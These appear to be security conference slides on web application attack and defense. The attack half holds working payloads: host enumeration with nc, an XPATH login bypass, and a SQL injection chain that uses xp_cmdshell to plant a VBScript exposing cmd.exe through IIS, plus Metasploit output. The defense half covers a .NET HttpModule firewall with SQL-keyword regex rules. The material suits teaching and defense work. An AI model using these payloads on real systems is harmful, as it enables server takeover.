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***Web Application Kung-Fu, The Art of Defense***

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## **Flow of Presentation**


- Introduction [ Self & Net Square ]
- Methodology and New tricks
- Attacks on the rise
- Assessment methods for web applications
- Exploits and Metasploit for web hacking
- Defending web applications with IHTTPModules [.Net]
- Q & A

## Attacks on Web Application Layer



- 95% companies were hacked from web applications and 5% of them were aware of them – FBI/CSI
- Most popular attacks are against web server – incident.org
- 3 out of 4 web sites are vulnerable to attack (Gartner)
- 75% hacks occurs at application level (Gartner)
- Every 1500 lines of code has one security vulnerability (IBM Labs)
- 2000 attacks / week for unprotected web site


## Attacks on Web Application Layer



- Integrated approach – Mobile app, Browser access, Intranet data share
- Internet presence is most important
- Application is open for all since it is the purpose behind the application launch.





Defacements (Zone-h report)











## Objective

- IP and Port as start point for assessment – myth
- What if IP is multi hosted?
- Will it respond without “HOST:” in HTTP header?
- One IP can have more application to assess
- Objective of footprinting is to find all possible combinations of hosts on IP.
- Finding web applications running on domain.
- How?

## New approaches

- New approaches for web applications
  - Host footprinting
  - Domain footprinting
- Focusing on web applications
- Tools and methods
- Let's see it!

## Example of multihost

- HTTPD conf of Apache

```
<VirtualHost *:80>
# ServerAdmin webmaster@dummy-host.example.com
DocumentRoot /usr/local/apache2/htdocs
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>

<VirtualHost *:80>
# ServerAdmin webmaster@dummy-host.example.com
DocumentRoot /usr/local/apache2/htdocs/blue
ServerName www.blue.com
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>

<VirtualHost *:80>
# ServerAdmin webmaster@dummy-host.example.com
DocumentRoot /usr/local/apache2/htdocs/red
ServerName www.red.com
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
```

## Example of multihost

- Default Access

```
C:\Documents and Settings\Administrator> nc 203.88.128.10 80
HEAD / HTTP/1.0
```

```
HTTP/1.1 200 OK
Date: Tue, 11 Jan 2005 20:17:40 GMT
Server: Apache/2.0.50 (Unix) mod_ssl/2.0.50 OpenSSL/0.9.7d
mod_jk2/2.0.4
Content-Location: index.html.en
Vary: negotiate,accept-language,accept-charset
TCN: choice
Last-Modified: Fri, 04 May 2001 00:01:18 GMT
ETag: "1c4d0-5b0-40446f80;1c4e6-961-8562af00"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en
Expires: Tue, 11 Jan 2005 20:17:40 GMT
```

## Example of multihost

- www.blue.com

```
C:\Documents and Settings\Administrator> nc 203.88.128.10 80  
HEAD / HTTP/1.0  
Host: www.blue.com
```

```
HTTP/1.1 200 OK  
Date: Tue, 11 Jan 2005 20:17:45 GMT  
Server: Apache/2.0.50 (Unix) mod_ssl/2.0.50 OpenSSL/0.9.7d  
mod_jk2/2.0.4  
Last-Modified: Tue, 04 Jan 2005 23:10:29 GMT  
ETag: "1865-b-f991a340"  
Accept-Ranges: bytes  
Content-Length: 11  
Connection: close  
Content-Type: text/html; charset=ISO-8859-1
```

## Example of multihost

- www.red.com

```
C:\Documents and Settings\Administrator> nc 203.88.128.10 80  
HEAD / HTTP/1.0  
Host: www.red.com
```

```
HTTP/1.1 200 OK  
Date: Tue, 11 Jan 2005 20:17:57 GMT  
Server: Apache/2.0.50 (Unix) mod_ssl/2.0.50 OpenSSL/0.9.7d  
mod_jk2/2.0.4  
Last-Modified: Tue, 04 Jan 2005 23:16:57 GMT  
ETag: "1cc0b-9-10b20c40"  
Accept-Ranges: bytes  
Content-Length: 9  
Connection: close  
Content-Type: text/html; charset=ISO-8859-1
```

## How to find hosts?

- Whois – can help in determining name server
- Look for PTR records if available.
- If not bad luck!
- There are few whois services out there can help in digging database and fetch what you are looking for – Key
- Let's see!

## Whois

```
C:\Program Files\GnuWin32\bin>jwhois -h whois.arin.net 203.88.128.10
[Querying whois.arin.net]
[whois.arin.net]

OrgName: XYZ corp
OrgID: XYZC
Address: 101 First Avenue
City: NYC
StateProv: NY
PostalCode: 94089
Country: US

NetRange: 203.88.128.0 - 203.88.128.255
CIDR: 203.88.128.0/20
NetName: XYZC-4
NetHandle: NET-203-88-128-0-1
Parent: NET-203-0-0-0-0
NetType: Direct Allocation
NameServer: ns1.xyz.com
NameServer: ns2.xyz.com
Comment:
RegDate: 2003-07-17
Updated: 2003-07-17

OrgTechHandle: NAO98-ARIN

OrgTechName: Netblock Admin
OrgTechPhone: +1-212-999-9999
OrgTechEmail: netblockadmin@xyz.com

# ARIN WHOIS database, last updated 2005-01-10 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.

C:\Program Files\GnuWin32\bin>
```

## Query PTR on name server

```
C:\Documents and Settings\Administrator>nslookup
Default Server: ns1.icenet.net
Address: 203.88.128.7
```

```
> server ns1.xyz.com
Default Server: [203.88.128.250]
Address: 203.88.128.250
```

```
> 203.88.128.10
Server: [203.88.128.250]
Address: 203.88.128.250
```

```
Name: www.blue.com
Address: 192.168.7.50
```

```
> set type=PTR
> 203.88.128.10
Server: [203.88.128.250]
Address: 203.88.128.250
```

```
10.128.88.203.in-addr.arpa    name = www.blue.com
10.128.88.203.in-addr.arpa    name = www.red.com
>
```

Bingo!

## What if PTR is not there?

- I know it sucks!

```
C:\Documents and Settings\Administrator>nslookup
Default Server: ns1.icenet.net
Address: 203.88.128.7
```

```
> server 203.88.128.250
Default Server: icedns1.icenet.net
Address: 203.88.128.250
```

```
> 203.88.128.11
Server: icedns1.icenet.net
Address: 203.88.128.250
```

```
Name: ice.128.client11.icenet.net
Address: 203.88.128.11
```

```
> set type=PTR
> 203.88.128.11
Server: icedns1.icenet.net
Address: 203.88.128.250
```

```
Non-authoritative answer:
11.128.88.203.in-addr.arpa    name = ice.128.client11.icenet.net
```

```
> 203.88.128.11
Server: icedns1.icenet.net
Address: 203.88.128.250
```

```
Non-authoritative answer:
11.128.88.203.in-addr.arpa    name = ice.128.client11.icenet.net
```

## Digging whois services

- Some special whois provides following info

http://whois.webhosting.info/IP

Web Hosting Information - Power WHOIS

203.88.128.11 - IP hosts 15 Total domains ...  
Showing 1 - 15 out of 15

Domain Name
1 ADANGROUP.COM
2 BLSKY.ORG
3 BLMBEJA.COM
4 GURATAS.COM
5 ICRIST.NET
6 ICDINDOAGRI
7 UAHMEDABAD.COM
8 MAHESHAHATI.NET
9 MEDICALWEBSITE.NET
10 MAYORADOST.COM
11 ROADSALES.COM
12 RCEI.ORG
13 RESOURCEMANAGEMENT.COM
14 SAMPON.COM
15 VIRTUAL-STONES.COM

Bingo!

## Got it!


- We got all possible hosts on any single IP
- Now assessment is possible using "Host:"
- We can assess all applications and server will serve right info on both HTTP/1.0 and HTTP/1.1

## Domain footprinting

- Domain footprinting methods are new way of getting information
- Leveraging Google and A9
- Cross domains are keys
- Domain mapping methods
- Tools and Demo


## Domain footprinting

- Running query against Google – “site:”
- Site:sify.com – domain footprints




## Domain footprinting

- Running query against Google – “link:”
- Fetching cross domains




## Domain footprinting

- Analyzing cross domains with IP blocks



## Domain footprinting

- Analyzing cross domains with IP blocks



## New methods

- Did work great on the field.
- Public domains are simply excellent way to fetch information about web applications
- Google can help in fetching this information.



## Objective

- Objective is to find live hosts which serves other than default content.
- So one can list all live applications on single IP
- HEAD/GET can help in doing so.

## Discovering applications

```
C:\Documents and Settings\Administrator>nc 203.88.128.11 80  
HEAD / HTTP/1.0
```

```
HTTP/1.1 404 Object Not Found  
Server: Microsoft-IIS/4.0  
Date: Thu, 27 Jan 2005 10:12:16 GMT  
Content-Type: text/html  
Content-Length: 102  
<html><head><title>Error</title></head><body>The system  
cannot find the file spe  
cified. </body></html>
```

## Discovering applications

```
C:\Documents and Settings\Administrator>nc 203.88.128.11 80  
HEAD / HTTP/1.0  
Host: junk
```

```
HTTP/1.1 404 Object Not Found  
Server: Microsoft-IIS/4.0  
Date: Thu, 27 Jan 2005 10:14:37 GMT  
Content-Type: text/html  
Content-Length: 102  
<html><head><title>Error</title></head><body>The system cannot find the  
file spe  
cified. </body></html>
```

## Discovering applications

```
C:\Documents and Settings\Administrator>nc 203.88.128.11 80  
HEAD / HTTP/1.0  
Host: icenet.net
```

```
HTTP/1.1 200 OK  
Server: Microsoft-IIS/4.0  
Content-Location: http://icenet.net/index.htm  
Date: Tue, 11 Jan 2005 10:07:12 GMT  
Content-Type: text/html  
Accept-Ranges: bytes  
Last-Modified: Wed, 05 Jan 2005 06:52:02 GMT  
ETag: "0553fff3f2c41:b3ae6"  
Content-Length: 33442
```

## Discovering applications

```
C:\Documents and Settings\Administrator>nc 203.88.128.11 80  
HEAD / HTTP/1.0  
Host: adanigroup.com
```

```
HTTP/1.1 200 OK  
Server: Microsoft-IIS/4.0  
Content-Location: http://adanigroup.com/index.htm  
Date: Tue, 11 Jan 2005 10:07:24 GMT  
Content-Type: text/html  
Accept-Ranges: bytes  
Last-Modified: Wed, 28 Apr 2004 14:51:55 GMT  
ETag: "80771d59302dc41:b3ae6"  
Content-Length: 806
```

## Discovering applications

```
C:\Documents and Settings\Administrator>nc 203.88.128.11 80  
HEAD / HTTP/1.0  
Host: www.mundraport.com
```

```
HTTP/1.1 200 OK  
Server: Microsoft-IIS/4.0  
Content-Location: http://www.mundraport.com/index.htm  
Date: Tue, 11 Jan 2005 10:09:56 GMT  
Content-Type: text/html  
Accept-Ranges: bytes  
Last-Modified: Thu, 01 Jul 2004 05:59:09 GMT  
ETag: "80f45486305fc41:b3ae6"  
Content-Length: 607
```

## Discovery

- Got all possible live hosts now.
- We have combination of IP, port and host.
- Above three can help in getting right information out.
- Application review is possible and scope would be complete for any specified IP address.



## Profile

- Profiling web application is very important task to identify possible attacks.
- Objective is to find from where we get cookie?, where are the forms?, It has applet or objects?, Querystrings are around or not? and such.
- Regex can be used on HTML code to fetch these info.
- Let's see demo & method.

DEMO

# Web Application Assets

HTTPKnight interface showing a request and response for /catalog.aspx. The request includes headers like User-Agent, Accept, and Cookie. The response shows HTTP status 200 OK and various headers.

# Web Application Profile

URL (Asset)	Form	Cmnt	Email	Applet	Object	Cookie	Auth.	Path	Script	QryStr
/	X					X				
/cart.asp	X									
/include/styles.css								X		
/privacy.asp		X								
/catalog.asp			X							
/aboutus.asp										
/details.asp?id=1	X									X
/details.asp?id=2	X									X
/details.asp?id=3	X									X
/rebates.asp										
/catalog.asp?start=3	X									X
/rebates.asp?loc=beckham.html	X									X
/rebates.asp?loc=zhivago.html	X									X
/orderapp/default.asp?login=yes	X					X	X			X
/orderapp/include/styles.css								X		
/rebates.asp?loc=monsoon.html	X									X
/details.asp?id=4	X									X
/rebates.asp?loc=lawrence.html	X									X
/details.asp?id=5	X									X
/details.asp?id=6	X									X
/catalog.asp?start=6	X									X


## Once again public domain usage

- We can fetch this info from public domain like Google – “site:”
- We can fetch technology clues using “inurl” or “filetype”
- One can fetch “cache” information from google and can profile them as well.
- Can be fetched from [www.archive.org](http://www.archive.org)  
`http://web.archive.org/web/*www.google.com*`

DEMO

## Web Application Attributes?

- Web application attributes are of many types – querystring, forms, java scripts etc.
- Each identified attribute can have vulnerability and very important for developers to know them.
- Vulnerability can be exploited by an attacker.
- Forms and Query strings are major source of exploitation.
- Other parameters like cookie, scripts (client side java, vb etc.) and path info (include, cgi-bin, servlet etc.) expose business level information.



## Attack profile for web application

URL (Asset)	Form	Cmnt	Email	Applet	Object	Cookie	Auth.	Path	Script	QryStr
Input Validation	X									X
Authorization	X									X
Parameter Tempering	X					X			X	X
Authentication	X					X	X			
Brute Forcing							X			
Session Management	X					X				X
SQL Manipulation	X									X
File Operations	X									X
Information Leakage	X							X		X
Error/Exception management	X									X
Client Side Manipulation	X						X		X	X
Java Decompile	X			X						X
Cryptography										
Buffer Overflows	X				X			X		
Remote Command Execution	X							X		X

Linking them to “web application attributes”

**Note:**

Demo of live .Net web application and vulnerable attributes

DEMO



Exploit

## XPATH injection

- XPATH parsing standard error
- XPATH is method available for XML parsing
- MS SQL server provides interface and one can get table content in XML format.
- Once this is fetched one can run XPATH queries and obtain results.
- What if username/password parsing done on using XPATH – XPATH injection

DEMO

## XPATH injection

```
string fulltext = "";
string coString = "Provider=SQLOLEDB;Server=(local);database=order;User
ID=sa;Password=mypass";
SqlXmlCommand co = new SqlXmlCommand(coString);
co.RootTag="Credential";
co.CommandType = SqlXmlCommandType.Sql;
co.CommandText = "SELECT * FROM users for xml Auto";
XmlReader xr = co.ExecuteXmlReader();
xr.MoveToContent();
fulltext = xr.ReadOuterXml();
XmlDocument doc = new XmlDocument();
doc.LoadXml(fulltext);
string credential = "//users[@username='"+user+"' and @password='"+pass+"]";
XmlNodeList xmln = doc.SelectNodes(credential);
string temp;
if(xmln.Count > 0)
{
    //True
}
else //false
```

## XPATH injection

```
string credential =  
  "//users[@username='"+user+"' and  
  @password='"+pass+"']";
```

- XPATH parsing can be leveraged by passing following string ' or 1=1 or '='
- This will always true on the first node and user can get access as who ever is first user.

Bingo!

DEMO

## Remote Command Execution - SQL

- It is myth one can not get admin/root access from application layer only
- One way hacking
- Command prompts on web
- SQL executions from web
- Privilege escalation
- Owing system
- Metasploit

DEMO

## SQL injection

- What if?
  - You don't know web root
  - Firewall don't allow outbound traffic
  - If you know web root – it is not providing write rights.
- You know xp\_cmdshell may or may not be working.

DEMO

## SQL injection – sa check

- Querying process on SQL using SPs
- (SELECT+ASCII(SUBSTRING((a.loginame), 1,1))+FROM+master..sysprocesses+AS+a+WHERE+a.spid+=+@@SPID)=115

DEMO

## SQL injection – Echo following lines to file

```
Set WshShell =  
  WScript.CreateObject("WScript.Shell")  
Set ObjExec = WshShell.Exec("cmd.exe /c echo  
  %windir%")  
windir = ObjExec.StdOut.ReadLine()  
Set Root =  
  GetObject("IIS://LocalHost/W3SVC/1/ROOT")  
Set Dir = Root.Create("IIsWebVirtualDir", "secret")  
Dir.Path = windir  
Dir.AccessExecute = True  
Dir.SetInfo
```

DEMO

## SQL injection – Echo following lines

- [http://target/details.aspx?id=1;exec+master..xp\\_cmdshell+'echo ' Set WshShell = WScript.CreateObject\('WScript.Shell'\) > c:\secret.vbs'](http://target/details.aspx?id=1;exec+master..xp_cmdshell+'echo ' Set WshShell = WScript.CreateObject('WScript.Shell') > c:\secret.vbs')

Now run the vbscript

[http://target/details.aspx?id=1;exec+master..xp\\_cmdshell+'cscript+c:\secret.vbs'](http://target/details.aspx?id=1;exec+master..xp_cmdshell+'cscript+c:\secret.vbs')

Check

<http://target/secret/system32/cmd.exe?+/c+set>

DEMO

## Using Metasploit

```
MSFConsole
-----
optional  SSL                Use SSL
required  RHOST               The target address
optional  UHOST               The virtual host name of the server
required  RPATH               Vulnerable URL with # as injection point
required  RPORT               80                The target port

Target: Targetless Exploit

msf SQL_Injection_GET > set RHOST 192.168.7.50
RHOST -> 192.168.7.50
msf SQL_Injection_GET > set UHOST www.dvds4less.net
UHOST -> www.dvds4less.net
msf SQL_Injection_GET > set RPORT 80
RPORT -> 80
msf SQL_Injection_GET > set RPATH /details.aspx?id=1;#
RPATH -> /details.aspx?id=1;#
msf SQL_Injection_GET > exploit
[*] Sending SQL injection payload...
Sending request number 0
GET /details.aspx?id=1;EXEC+master..xp_cmdshell+'echo+Set+WshShell+=+Wscript.CreateObject("Wscript.Shell")>c:\secret.txt' HTTP/1.0
Host: www.dvds4less.net
```

DEMO





.Net Web Application  
Innovative defense approach

## What is new in .Net?

- Web application has separate scope and HTTP pipeline can be accessed.
- ISAPI had some limitations which are not with HTTP interfaces.
- HTTP request can be accessed before it hits application resources.
- HTTPModule and HTTPHandler are defense at your gates.
- Can we build Web application firewall and IDS – “YES”

## Web Application without defense









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### .Net Web Application Implementing HTTP Module



- ## Leveraging
- HTTPModule and HTTPHandler - can be leveraged.
  - Application layer firewall can be cooked up for your application.
  - Similarly IDS for web application can be developed.
  - It sits in HTTP pipe and defend web applications.



## Example GET & POST

**http://192.168.131.3/dvds4less/details.aspx?id=1**

```

POST /dvds4less/checkout_form.aspx HTTP/1.1
Host: 192.168.131.3
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://192.168.131.3/dvds4less/cart.aspx?id=1&quantity=1
Cookie: ASP.NET_SessionId=0zrvzp45nzb1sj45piri0f55
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

product_id_0=1&quantity_0=1&order_num=513745&submit=Checkout
  
```

Attack points

## Deploying web application firewall

- Rule set for firewall
- Constructing smart regex patterns



```
<QUERY>  
  id=(.*?['\"%*$#@]|.*?(select|exec|update))[^&]*(&|)$  
</QUERY>  
  
<QUERY>  
  quantity=(.*?['\"%*$#@]|.*?(select|exec|update))[^&]*(&|)$  
</QUERY>  
  
<POST>id=(.*?['\"%*$#@]|.*?(select|exec|update))[^&]*(&|)$</POST>  
<POST>quantity=(.*?['\"%*$#@]|.*?(select|exec|update))[^&]*(&|)$</P  
OST>
```

## Deploying web application firewall

- Put dll in /bin folder.
- Add following lines into your web.config file.
- Web application firewall get loaded.

```
<httpModules>  
  <add type="firewall.WebAppWall, WebAppMod" name="WebAppWall" />  
</httpModules>
```

## Impact of web application wall



## Defense strategies

- All security attributes can be guarded by firewall.
- We can log or provide IDS using same module
- Some of the deployment parameters can be implemented using this method.
- IHttpHandler can be developed in similar way.



## Session management

- Session object can be used in HTTP pipeline and session can be strengthen.
- Session hijacking is common issue and critical problem with security.
- IHttpHandler or Module can be used to provides solid defense against it.

## Application Bruteforcing

- Application has forms and via that username and password get sent using POST.
- Application bruteforcing is common attack type.
- HttpModule can capture these attacks and on count basis this attack can be avoided.

## Automated attacks

- Automated web application attack tools are out there.
- Crawling the site and then launch attacks. This can be avoided by setting “honey traps” using HttpModule.
- Once it is trapped attacker can be put into infinite loop using defense trick

## Browser catching

- Detecting browser using HttpModule.
- Making sure request is coming from browser by java script processing and cookie handling.
- Interesting trick.



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**Thanks!**

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